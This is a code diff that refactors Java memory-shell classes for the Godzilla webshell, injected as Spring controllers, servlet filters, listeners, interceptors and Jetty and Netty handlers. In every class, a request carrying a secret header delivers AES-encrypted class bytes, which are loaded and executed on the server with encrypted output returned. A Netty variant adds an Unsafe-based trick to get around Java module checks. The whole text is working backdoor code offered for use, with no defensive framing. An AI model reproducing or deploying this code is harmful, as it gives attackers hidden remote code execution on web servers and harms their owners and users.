@@ -133,6 +128,7 @@ public class Godzilla extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
|
||||
+27
-34
@@ -29,28 +29,28 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -65,18 +65,15 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -84,12 +81,9 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -101,7 +95,6 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
|
||||
+15
-20
@@ -36,11 +36,12 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
@@ -49,12 +50,12 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -66,18 +67,15 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -85,12 +83,9 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+30
-40
@@ -34,34 +34,30 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return Mono.empty();
|
||||
}
|
||||
try {
|
||||
Object bufferStream = request.formData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
result.append(md5.substring(0, 16));
|
||||
f.toString();
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
Object bufferStream = request.formData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ServerResponse.ok().body(bufferStream, String.class);
|
||||
} catch (Exception ex) {
|
||||
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ServerResponse.ok().body(bufferStream, String.class);
|
||||
}
|
||||
|
||||
|
||||
@@ -74,18 +70,15 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -93,12 +86,9 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+24
-27
@@ -32,34 +32,31 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return ResponseEntity.notFound().build();
|
||||
}
|
||||
try {
|
||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(exchange.getRequest());
|
||||
result.append(md5.substring(0, 16));
|
||||
f.toString();
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
result.append(ex.getMessage());
|
||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
data = x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.getDeclaredConstructor().newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(exchange.getRequest());
|
||||
f.toString();
|
||||
result.append(md5.substring(0, 16));
|
||||
result.append(base64Encode(x(arrOut.toByteArray(), true)));
|
||||
result.append(md5.substring(16));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ResponseEntity.ok(bufferStream);
|
||||
} catch (Exception ex) {
|
||||
return ResponseEntity.ok(ex.getMessage());
|
||||
}
|
||||
} catch (Throwable ex) {
|
||||
ex.printStackTrace();
|
||||
result.append(ex.getMessage());
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ResponseEntity.ok(bufferStream);
|
||||
}
|
||||
|
||||
|
||||
|
||||
+17
-27
@@ -21,11 +21,11 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public GodzillaInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
public GodzillaInterceptor() {
|
||||
}
|
||||
|
||||
public GodzillaInterceptor() {
|
||||
public GodzillaInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -35,27 +35,23 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
@@ -80,18 +76,15 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -99,12 +92,9 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+15
-21
@@ -47,19 +47,16 @@ public class GodzillaJettyHandler extends ClassLoader {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
|
||||
if (cache == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
@@ -69,9 +66,12 @@ public class GodzillaJettyHandler extends ClassLoader {
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
@@ -86,18 +86,15 @@ public class GodzillaJettyHandler extends ClassLoader {
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -105,12 +102,9 @@ public class GodzillaJettyHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+45
-49
@@ -26,6 +26,44 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
Object cache = session.getAttribute(key);
|
||||
if (cache == null) {
|
||||
session.setAttribute(
|
||||
key,
|
||||
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) cache).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
@@ -35,18 +73,15 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -54,12 +89,9 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -82,40 +114,4 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+48
-48
@@ -32,23 +32,6 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
private HttpRequest request;
|
||||
private static Class<?> payload;
|
||||
|
||||
private static Class<?> defineClass(byte[] bytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
method.setAccessible(true);
|
||||
return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
|
||||
if (msg instanceof HttpRequest) {
|
||||
@@ -80,7 +63,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
requestBody.setLength(0);
|
||||
byte[] data = x(base64Decode(base64Str), false);
|
||||
if (payload == null) {
|
||||
payload = defineClass(data);
|
||||
payload = reflectionDefineClass(data);
|
||||
send(ctx, "");
|
||||
return;
|
||||
} else {
|
||||
@@ -92,13 +75,52 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
|
||||
}
|
||||
return;
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
ctx.fireChannelRead(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
long offset = 48;
|
||||
Method getAndSetObjectM = null;
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
unsafe = unsafeField.get(null);
|
||||
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
